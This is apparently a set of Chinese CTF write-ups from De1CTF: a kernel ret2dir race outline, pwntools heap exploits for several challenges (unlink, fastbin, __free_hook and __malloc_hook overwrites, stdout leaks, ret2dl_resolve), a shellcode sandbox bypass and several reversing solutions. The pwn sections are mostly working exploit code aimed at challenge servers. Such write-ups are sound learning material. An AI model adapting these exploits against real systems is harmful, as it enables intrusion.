就mmap大量地址吧,qemu给了128M内存,进程可以顺利申请64M内存,这样就占了一半的内存,后面有50%的几率跳到控制的physmap。(实际上找个好一点的偏移基本上100%成功)
通过第一步获得slab地址,从而推出physmap的起始地址(这两个区域很接近,或者应该说physmap包含了slab,这点不确定,没深入源码)
为了扩大竞争条件的窗口期,我是通过将猜测的physmap地址直接写入文件(不经过缓冲区,直接写入文件,O_DIRECT),然后再mmap映射文件去读。后面流程和竞争读一样,copy_from_user的时候,将buffer删掉,这样就可以改写下一块空闲slab地址,然后接着open("/dev/ptmx",O_RDWR);就可以申请tty_struct到可控physmap地址上。
查找mmap出来的地址,如果不为NULL就代表找到了第三步申请的tty_struct结构体。这样就可以在用户态修改内核分配的tty_struct。
open("/dev/ptmx",O_RDWR);实际上会分配两个tty_struct,主从模式。实际上用户态可控的tty_struct是pts的(因为第一个tty_struct会分配到删除了的buffer地址,第二个tty_struct才会分配到physmap上),所以还要open(pts_name, O_RDONLY | O_NOCTTY);然后才是常规的ioctl操作。
这里懒得找gadgets,就直接调用set_memory_x设置可执行,后面再跳到shellcode在内核态下执行就好了。
PS:向经典的ret2dir致敬。本来只是打算uaf加ret2dir的,后面写着写着就成伪竞态了。 :)
copy_to_user : https://elixir.bootlin.com/linux/v5.0-rc8/source/include/linux/uaccess.h#L149
ret2dir : https://www.cnblogs.com/0xJDchen/p/6143102.html
O_DIRECT : https://www.cnblogs.com/muahao/p/7903230.html
babyRust 源码:https://github.com/zjw88282740/babyRust
出题思路来源CVE-2019-12083
逆向有点恶心
任意读十分简单,通过读got表得到libc基址,观察可发现存在double free的情况,直接写__free_hook
from pwn import *
libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#p=process("./babyRust")
context.log_level="debug"
p=remote("207.148.126.75",60001)
def show():
p.recvuntil("4.exit\n")
p.sendline("2")
def edit(name,x,y,z,i):
p.recvuntil("4.exit\n")
p.sendline("3")
p.recvuntil("input your name:")
p.sendline(name)
p.recvuntil(":")
p.sendline(str(x))
p.recvuntil(":")
p.sendline(str(y))
p.recvuntil(":")
p.sendline(str(z))
p.recvuntil(":")
p.sendline(str(i))
#gdb.attach(p)
p.recvuntil("4.exit\n")
p.sendline("1312") #Boom->S
show()
heap_addr=int(p.recvuntil(", ",drop=True)[2:])-0xa40
print hex(heap_addr)
p.sendline("1313")
p.sendline("1314")
edit("aaa",heap_addr+0x2ce0,0,0,0)
show()
p.sendline("1312")
#show()
print p.recv()
p.sendline("1313")
edit("bbb ",heap_addr+0xb18,8,8,heap_addr+0xb18)
show()
p.recvuntil("3,3,")
pie_addr=u64(p.recv(8))-239480
print hex(pie_addr)
edit("bbb ",pie_addr+0x3be78,8,8,0)
show()
p.recvuntil("3,3,")
libc_addr=u64(p.recv(8))-1161904
print hex(libc_addr)
edit("bbbbb",heap_addr+0x2d40,2,3,4)
p.sendline("1314")
p.recvuntil("4.exit\n")
p.sendline("1")
p.recvuntil("input your name:")
p.sendline("z")
p.recvuntil(":")
p.sendline(str(0))
p.recvuntil(":")
p.sendline(str(4015))
p.recvuntil(":")
p.sendline(str(5))
p.recvuntil(":")
p.sendline(str(0))
show()
free_hook=libc_addr+libc.symbols['__free_hook']-0x28-8
p.sendline("1312")
edit("\x00"*0x20,free_hook,0,0,0)
one_gadget=libc_addr+0x4f322
p.sendline("1313")
edit("\x00"*0x30,free_hook,2,3,one_gadget)
p.sendline("1314")
p.interactive()
题目给了两个二进制文件,一个是32位的,一个是64位的
主要思想是,给定相同的输入,判断32位和64位程序的输入是否相同,假如不相同就直接退出
题目是一个比较简单的堆题
我们首先来看下main函数
可以看到有4个功能
其中edit存在一个off by null的漏洞,利用这个漏洞可以unlink,获取任意写
在任意写之后,可以利用一个gadget,将栈转移到bss段上面,进行ROP,这个时候利用ret2dl_resolve就可以打开flag,写到某个note那里,那个note提前设好一个值,假如不相当的话,就会输出what are you trying to do?
下面是exp
这个是预期解,不过因为mimic写得不是很好,有挺多非预期的........
from pwn import *
import roputils
def brute_flag(idx,v):
debug=1
#context.log_level='debug'
rop=roputils.ROP('./mimic_note_32')
if debug:
p=process('./mimic')
#p=process('./mimic_note_32')
#p=process('./mimic_note_64')
#gdb.attach(p)
else:
#p=remote('127.0.0.1',9999)
pass
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def new(sz):
sl('1')
ru('size?')
sl(str(sz))
ru(">> ")
def delete(idx):
sl('2')
ru('index ?')
sl(str(idx))
ru(">> ")
def show(idx):
sl('3')
ru('index ?')
sl(str(idx))
def edit(idx,content):
sl('4')
ru('index ?')
sl(str(idx))
ru('content?\n')
se(content)
ru(">> ")
#unlink attack x86
new(0x68)
new(0x68)
new(0x94)
new(0xf8)
fake_chunk = p32(0)+p32(0x91)+p32(0x804a070-0xc)+p32(0x804a070-0x8)
fake_chunk = fake_chunk.ljust(0x90,'\0')
edit(2,fake_chunk+p32(0x90))
delete(3)
#ret2dlresolve and blind injection
new(0x200)
bss = 0x0804a500
edit(2,p32(0x100)+p32(0x804A014)+p32(0x98)+p32(bss+0x300)+p32(0x94)+p32(bss)+p32(0x200))
edit(1,p32(0x80489FA))
payload = p32(bss-0x100)+rop.dl_resolve_call(bss+0x60, bss+0x180,0)
payload += p32(0x8048460)+p32(0x80489F9)+p32(3)+p32(bss+0x300-idx)+p32(idx+1)
payload += p32(0x080489FB)+p32(bss-0x100)
payload += p32(0x804893C)
payload = payload.ljust(0x60,'\x00')
payload += rop.dl_resolve_data(bss+0x60, 'open')
payload = payload.ljust(0x180,'\x00')
payload += 'flag'
edit(3,payload)
edit(2,v+'\0')
sl('2\x00'+'a'*6+p32(0x80488DE))
ru('index ?\n')
sl('3\x00')
ru('>> ')
show(2)
ru('\n')
data = ru('\n')
p.close()
if len(data)>5:
return False
return True
charset ='{}_'+ string.ascii_letters + string.digits + string.punctuation
flag = ''
for i in range(40):
for q in charset:
if brute_flag(i,q):
flag+=q
print(flag)
if q == '}':
exit(0)
break
this problem have two ways to solve it
the key to topic is to let a chunk have libc address in fd. and then we use a trick to leak a libc address ,finally use fastbin attack to get shell.
make a fake 0x80(more than that is ok) chunk and free it .so that we can get libc in fd and then edit the struct of stdout to leak.finally get shell.
from pwn import *
def cmd(c):
p.sendlineafter(">> \n",str(c))
def Cmd(c):
p.sendlineafter(">> ",str(c))
def add(size,idx,name="padding"):
cmd(1)
p.sendlineafter(": ",str(size))
p.sendlineafter(": ",str(idx))
p.sendafter(":\n",name)
def free(idx):
cmd(2)
p.sendlineafter(":",str(idx))
def edit(idx,name):
cmd(3)
p.sendlineafter(": ",str(idx))
p.sendafter(":\n",name)
def Add(size,idx,name="padding"):
Cmd(1)
p.sendlineafter(": ",str(size))
p.sendlineafter(": ",str(idx))
p.sendafter(":",name)
def Free(idx):
Cmd(2)
p.sendlineafter(":",str(idx))
#p=process('./pwn')
p=remote("139.180.216.34",8888)
#context.log_level='debug'
add(0x18,0)
add(0x18,1)
add(0x60,2,p64(0x0)+p64(0x21)+'\x00'*0x18+p64(0x21)*5)
add(0x60,3,p64(0x21)*12)
add(0x60,4)
add(0x60,5)
free(0)
free(1)
free(0)
free(1)
add(0x18,0,"\x50")
add(0x18,0,'\x00'*8)
add(0x18,0,"A")
add(0x18,0,'GET')
edit(2,p64(0x0)+p64(0x91))
free(0)
add(0x18,0)
add(0x60,0,'\xdd\x25')
free(2)
free(5)
free(2)
free(5)
#gdb.attach(p,'')
add(0x60,4,'\x70')
#
add(0x60,0)
add(0x60,0)
add(0x60,0)
add(0x60,0,'\x00'*(0x40+3-0x10)+p64(0x1800)+'\x00'*0x19)
p.read(0x40)
base=u64(p.read(6).ljust(8,'\x00'))-(0x7ffff7dd2600-0x7ffff7a0d000)
log.warning(hex(base))
#raw_input()
libc=ELF("./pwn").libc
Add(0x60,0)
Add(0x60,1)
Add(0x18,2)
Free(0)
Free(1)
Free(0)
Add(0x60,0,p64(libc.sym['__malloc_hook']+base-35))
Add(0x60,0)
Add(0x60,0)
one=0xf02a4
Add(0x60,0,'\x00'*19+p64(one+base))
Free(1)
Free(1)
p.interactive()
when we use scanf to input something .if you input lots of things ,it will malloc a 0x400 chunk to keep it temporarily。if we keep some fastbin when it malloc.it will be put into smallbin.now we also have libc address.
from pwn import *
context.log_level = "debug"
#p = process("./weapon")
p = remote("139.180.216.34",8888)
elf = ELF("./weapon")
a = elf.libc
#gdb.attach(p)
def create(idx,size,content):
p.recvuntil(">> \n")
p.sendline(str(1))
p.recvuntil("weapon: ")
p.sendline(str(size))
p.recvuntil("index: ")
p.sendline(str(idx))
p.recvuntil("name:")
p.send(content)
def delete(idx):
p.recvuntil(">> ")
p.sendline(str(2))
p.recvuntil("idx :")
p.sendline(str(idx))
def edit(idx,content):
p.recvuntil(">> ")
p.sendline(str(3))
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("content:\n")
p.send(content)
create(0,0x60,"a")
create(1,0x60,"b")
create(2,0x60,"c")
delete(0)
delete(1)
p.recvuntil(">> ")
p.sendline("1"*0x1000)
create(3,0x60,"\xdd\x25")
create(4,0x60,"e")
delete(2)
delete(1)
edit(1,"\x00")
create(5,0x60,"f")
create(6,0x60,"f")
file_struct = p64(0xfbad1887)+p64(0)*3+"\x58"
create(7,0x60,"\x00"*0x33+file_struct)
libc_addr = u64(p.recvuntil("\x00",drop=True)[1:].ljust(8,"\x00"))-a.symbols["_IO_2_1_stdout_"]-131
print hex(libc_addr)
delete(6)
edit(6,p64(libc_addr+a.symbols["__malloc_hook"]-0x23))
create(8,0x60,"t")
create(9,0x60,"a"*0x13+p64(libc_addr+0xf1147))
p.recvuntil(">> \n")
p.sendline(str(1))
p.recvuntil("weapon: ")
p.sendline(str(0x60))
p.recvuntil("index: ")
p.sendline(str(6))
p.interactive()
先跟各位师傅说声对不起......其实这道题没出好,本意是想出道代码审计的题目的,结果原来的库的bug比预期的多......
下面是一个非预期解
#include <stdio.h>
int main()
{
system("cat flag");
}
下面是一个预期解,基本思想是利用32位的syscall去绕过限制,去读取文件
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h> /* mmap() is defined in this header */
#include <fcntl.h>
#include <string.h>
unsigned char shellcode[]= \
"\x6a\x01\xfe\x0c\x24\x68\x66\x6c\x61\x67\x89\xe3\x31\xc9\x31\xd2\x6a\x05\x58\xcd\x80\x68\x00\x38\x12\x00\x59\x89\xc3\xba\x00\x01\x00\x00\x6a\x03\x58\xcd\x80\xbb\x01\x00\x00\x00\xb9\x00\x38\x12\x00\xba\x00\x01\x00\x00\x6a\x04\x58\xcd\x80\xb8\x01\x00\x00\x00\xcd\x80";
/*
push 0x1
dec BYTE PTR [esp]
push 0x67616c66
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 0x5
pop eax
int 0x80
push 0x123800
pop ecx
mov ebx,eax
mov edx,0x100
push 0x3
pop eax
int 0x80
mov ebx,0x1
mov ecx,0x123800
mov edx,0x100
push 0x4
pop eax
int 0x80
mov eax,0x1
int 0x80
*/
unsigned char bypass[] = \
"\x48\x31\xe4\xbc\x00\x34\x12\x00\x67\xc7\x44\x24\x04\x23\x00\x00\x00\x67\xc7\x04\x24\x00\x30\x12\x00\xcb";
/*
xor rsp,rsp
mov esp,0x123400
mov DWORD PTR [esp+0x4],0x23
mov DWORD PTR [esp],0x123000
retf
*/
int main()
{
char* p1=mmap(0, 0x1000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
char* p2=mmap((void*)0x123000,0x1000,7,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(p1,bypass,sizeof(bypass));
memcpy(p2,shellcode,sizeof(shellcode));
int (*ret)() = (int(*)())p1;
ret();
return 0;
}
int main()
{
int int32_41E3D0[] = { 8, 59, 1, 32, 7, 52, 9, 31, 24, 36, 19, 3, 16, 56, 9, 27, 8, 52, 19, 2, 8, 34, 18, 3, 5, 6, 18, 3, 15, 34, 18, 23, 8, 1, 41, 34, 6, 36, 50, 36, 15, 31, 43, 36, 3, 21, 65, 65 };
char str_41E499[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
char base64_C[49] = {0};
for (int i = 0; i < 48; i++)
{
int temp_index = int32_41E3D0[i];
base64_C[i] = str_41E499[temp_index - 1];
}
cout <<"base64_C:"<< base64_C << endl;
char psss_list[65] = { 0 };
char list_41E380[] = { 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 91, 92, 73, 95, 90, 86, 69, 88, 93, 67, 85, 70, 82, 81, 95, 81, 80, 80, 80, 71, 70, 92, 118, 99, 108, 110, 85, 82, 67, 85, 92, 80, 95, 66, 67, 93, 79, 92, 84, 87, 85, 91, 94, 94, 90, 77, 64, 90, 76, 89, 82, 80, 21, 16 };
for (int i = 0; i <64; i++)
{
psss_list[i] = list_41E380[i] ^ i;
}
cout << "psss_list:" << psss_list << endl;
char str_re[100] = {0};
Base64_decode(base64_C, psss_list, str_re);
cout << "flag:" << str_re << endl;
getchar();
return 0;
}
base64_C:H6AfGzIeXjSCP3IaHzSBHhRCEFRCOhRWHAohFjxjOeqjCU==
psss_list:0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm+/
flag:de1ctf{E_L4nguag3_1s_K3KeK3_N4Ji4}
源代码
Cplusplus.cpp
附件
Cplusplus.exe
编译
compile.txt
struct st { unsigned short num1; unsigned short num2; unsigned short num3; }; st boostFn(const std::string& s) { using boost::spirit::qi::_1; using boost::spirit::qi::ushort_; using boost::spirit::qi::char_; using boost::phoenix::ref; struct st res; const char* first = s.data(); const char* const end = first + s.size(); bool success = boost::spirit::qi::parse(first, end, ushort_[ref(res.num1) = _1] >> char('@') >> ushort_[ref(res.num2) = _1] >> char('#') >> ushort_[ref(res.num3) = _1] ); if (!success || first != end) { //throw std::logic_error("Parsing failed"); _exit(0); } return res; }
这段代码是boost::spirit
相关,输入形如num1@num2#num3
,用@ #
分割三个unsigned short
数值
void boostFunc(unsigned short& num) { //随机数check //预期的num是78 if (num > 111) { _exit(0); } boost::mt19937 rng(num); rng.discard(num % 12); //拷贝构造,保留了所有状态 boost::mt19937 rng_(rng); rng_.discard(num / 12); //这里相当于丢弃了num个随机结果 if (rng_() != 3570126595) { _exit(0); } num -= (rng_() % 45); // 45 }
一个unsigned short
传入,小于等于111,把它作为随机引擎的种子,丢弃掉num % 12
个随机数,然后用一次随机引擎的拷贝构造
注意,这里拷贝构造会完全保留随机引擎的状态,而不是回归初始状态
在IDA中就表现为直接一个memcpy
接着再丢弃掉num/12
个随机数
然后输出一个随机数要求等于3570126595
,最后由于是引用,传入的数值被改变
后面第二段check没什么好说的
第三段check是我的锅
if ((res.num3 % res.num1 != 12) && (res.num3 / res.num1) != 3) { //3 * 34 + 12 == 114 std::cout << "You failed...again"; _exit(0); }
这里出现了多解,后来排查发现是||
被我误写为&&
,因此只要满足右边的式子就会输出flag,最后加上了md5
保证唯一解
源代码
evil_boost.cpp
附件
evil_boost.exe
编译
compile.txt
#include<boost/phoenix/phoenix.hpp> #include<iostream> #include<string> #include<string.h> namespace opt = boost::program_options; using namespace std; using namespace boost::spirit; using namespace phoenix; int main(int argc, char** argv) { std::cout << "Have you input your name??" << std::endl; opt::options_description desc("All options"); desc.add_options() ("cplusplus,cpp", opt::value<int>()->default_value(99), "your C++ grades") ("python,py", opt::value<int>()->default_value(88), "your python grades") ("javascript,js", opt::value<int>()->default_value(77), "your javascript grades") ("name", opt::value<std::string>(), "your name") ("help", "produce help message"); opt::variables_map vm; //解析命令行选项并把值存储到"vm" opt::store(opt::parse_command_line(argc, argv, desc), vm); opt::notify(vm);
如代码所示,解析命令行参数并存储
if (vm.count("name")) { std::string __name = vm["name"].as<std::string>(); char c1 = vm["cplusplus"].as<int>(); char c2 = vm["python"].as<int>(); char c3 = vm["javascript"].as<int>(); if (vm["cplusplus"].as<int>() == 999) { if (vm["python"].as<int>() == 777) { if (vm["javascript"].as<int>() == 233) { unsigned char enc_false_flag[25] = { 0x4c,0x70,0x71,0x6b,0x38,0x71,0x6b,0x38,0x6c, 0x70,0x7d,0x38,0x6f,0x6a,0x77,0x76,0x7f,0x38, 0x7e,0x74,0x79,0x7f,0x36,0x36,0x36 }; for (int i = 0; i < 25; i++) { if (((unsigned char)__name[i] ^ (char)(c1 + c2 * c3)) != enc_false_flag[i]) { std::cout << "error" << std::endl; _exit(i); } } } std::cout << "You get the flag! flag{" << __name << "}" << std::endl; //flag{This is the wrong flag...} } } }
如果输入了name,会获得cpp、python、JavaScript的成绩,然后解密flag,最后输出一个假的flag
/* 计算表达式相关 */ //为rule准备一个val变量,类型为double //准确的说:是一个phoenix类,它和其它的phoenix类组成lambda表达式,在lambda里可以看作一个double struct calc_closure :boost::spirit::closure<calc_closure, double> { member1 val; }; //定义ContextT策略为calc_closure::context_t rule<phrase_scanner_t, calc_closure::context_t> factor, term, exp; //直接使用phoenix的lambda表达式作为Actor factor = real_p[factor.val = arg1] | ('(' >> exp[factor.val = arg1] >> ')'); term = factor[term.val = arg1] >> *(('*' >> factor[term.val *= arg1]) | ('/' >> factor[term.val /= arg1])); exp = term[exp.val = arg1] >> *(('+' >> term[exp.val += arg1]) | ('-' >> term[exp.val -= arg1])); const char* szExp = vm["name"].as<std::string>().c_str(); double result; parse_info<>r = parse(szExp, exp[assign_a(result)], space_p);
// 5e0*(5-1/5)==24 if (strlen(szExp) != 11) { _exit(strlen(szExp)); } int count_num = 0; int count_alpha = 0; for (int i = 0; i < strlen(szExp); i++) { if ((szExp[i] < '9') && (szExp[i] >= '0')) { count_num++; } else if ((szExp[i] > 'a') && (szExp[i] < 'z')) { count_alpha++; } else if ((szExp[i] > 'A') && (szExp[i] < 'Z')) { std::cout << "GG..." << std::endl; Sleep(100000000); } else if ((szExp[i] != '-') && (szExp[i] != '*') && (szExp[i] != '(') && (szExp[i] != ')') && (szExp[i] != '/')) { _exit(-1); } } //只能有5个数字和1个小写字母,就是'e' if ((count_num != 5) || (count_alpha != 1)) { _exit(count_num); } else { if ((szExp[1] < 'a') || (szExp[1] > 'z')) { Sleep(10000000); std::cout << "You failed!" << std::endl; } } if (result - 24 < 0.0000001 || result - 24 > 0.0000001) { std::cout << "You finally get sth." << std::endl; std::cout << "Maybe you missed a code branch..." << std::endl; std::cout << "MD5 is 293316bfd246fa84e566d7999df88e79,You should check it!" << std::endl; std::cout << "de1ctf{" << vm["name"].as<std::string>() << "}" << std::endl; }
长度为11,5个数字,1个小写字母(只能是e)
因为只能使用乘除减,5551是比较容易想到的,但也不排除可能有其他解,给出了md5
根据浮点数的计算(result - 24 < 0.0000001 || result - 24 > 0.0000001)
很容易反推是在计算 24点,最后输入的name就是flag
通过异常进入各种handler,从而实现虚拟机。
参考了强网杯2018的题目 obf ,基于这道题的基础上魔改了一下。
我找不到官方wp了 ,所以只好把原题贴一下,感兴趣的可以看看。
先fork出一个子进程,父进程会调试子进程,子进程会进入各种由异常组成的bytecode,父进程根据异常的类型进行各种虚拟机操作。
Signal VM 和Signal VM Δ 不同的一点在于,第一题直接对父进程本身的数据进行操作,子进程只是起到传达code的作用
第二题使用PTRACE_PEEKTEXT 和PTRACE_POKETEXT,直接修改子进程的内存。
这样在我们调试父进程的时候,在第一题中可以直接监视VM寄存器和VM的内存,从而帮助我们理解指令。
而在第二题中,由于子进程已经被父进程调试了,我们无法附加上去,无法查看子进程的内存,只能查看父进程调试获取的数据,加大了理解指令的难度,分析解析指令这一部分更为重要。
指令大致分为三部分:opcode, 操作数类型,操作数
除了int 3断点,还添加了三种不同的异常
signal | machine code | handler
-------------------------------------------
SIGILL | 06 | mov, lea ...
SIGTRAP | CC | add, sub, mul div ...
SIGSEGV | 00 00 | jcc
SIGFPE | 30 C0 F6 F8 | cmp
opcode之后有一个字节用来标识操作数的类型(除了jcc)
高 4 bit代表第一个操作数,低 4 bit代表第二个操作数,其中:
0 register
1 immediate
2 address
地址只能是由寄存器指向,第一个操作数不能为立即数,立即数位32位
在这之后是两个操作数,应当根据操作数类型进行匹配。寄存器占一个字节,立即数占四个字节。
两道题的算法都不算难。
第一题为hill cipher
第二题可以参考https://projecteuler.net/problem=67,我们需要求出最大和的路径,路径中包含flag。
可以动态规划从下往上叠加,取相邻两个中的较大的一个,具体参考解题脚本。
构造数据的时候保证每行与最大值相邻的不会相等,这样排除了多解的情况。
vm1.c和vm2.c是两道题的源代码,由于我比较菜,写的也比较仓促,代码质量可能不高。。。
hill.c和triangle.c是算法的源码
assembly1.txt和assembly2.txt是vm的汇编代码,我直接从x86汇编翻译过来的。。。
simulate1.py和simulate2.py是解析bytecode并模拟执行,然后把bytecode写进bytecode1 和bytecode2。
solve1.py和solve2.py是参考脚本。
虚拟机结构还有很多不足的地方。可以触发的异常比较少,因此指令不能设置太多。没有区分有符号与无符号数,总的来说还是太菜了。
第二题其实是第一天晚上临时起意改出来的,一开始没准备出两道题。最早不知道可以有修改子进程的方法,后来查了一些资料才了解到的,然后爆肝一晚改出了第二道题。原本第二题只有这一个算法的。。。如果直接放第二题可能效果会更好一点。。。
有任何问题可以tg联系我 @Apeng7364